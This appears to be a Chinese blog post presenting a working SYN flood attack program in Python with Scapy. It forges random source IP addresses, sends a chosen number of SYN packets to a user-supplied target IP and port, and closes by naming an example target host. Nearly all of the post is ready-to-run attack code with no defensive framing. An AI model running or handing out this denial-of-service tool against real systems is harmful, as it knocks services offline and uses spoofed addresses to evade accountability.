洪泛攻击程序

类的实现

from scapy.all import *
import random
import socket
class IPGeneration :
    def __init__(self):
         self.__ip=''
         self.__localIP=socket.gethostbyname(socket.gethostname())
    def getRandomIP(self):
        while True:
            self.__ip = str(random.randint(128,150))+'.'\
                         +str(random.randint(1,254))+'.'\
                         +str(random.randint(1,254))+'.'\
                         +str(random.randint(1,254))
            if self.__ip != self .__localIP:
                return self .__ip
class SynFlood:
       def __init__( self,dIP,dport=445):
           self.__IPGeneration = IPGeneration()
           self.__srcIP="0.0.0.0"
           self.__dstIP=dIP
           self.__srcport=random.randint(1000,65535)
           self.__dstport=dport
           self.__times=0
       def attack ( self , times =10):
           self.__times=times
           while self.__times >0:
               self.__srcIP=self.__IPGeneration.getRandomIP()
               ipdata=IP(src=self.__srcIP,dst=self.__dstIP)
               tcpdata=TCP(sport=self.__srcport,dport=self.__dstport,flags="S")
               packet=ipdata/tcpdata
               send(packet,verbose=0)
               self.__times-=1
       def setDstIP(self,dIP):
           self.dstIP=dIP
       def getDstIP(self):
           return self.dstIP

洪泛攻击程序实现

from SynFlood import SynFlood
def main():
    attackIP=input("请输入攻击主机IP")
    attackPort=eval(input("请输入攻击主机的端口(例如:普通PC端口445,web服务器端口80,ftp服务器端口21):"))
    attacktimes=eval(input("请输入攻击次数:"))
    myFlood=SynFlood(attackIP,attackPort)
    myFlood.attack(attacktimes)

main()

假设

主机ip为:10.84.83.7

攻击本机 IP:10.84.83.7,端口:445

  • 9
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

苹果苹果梨

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值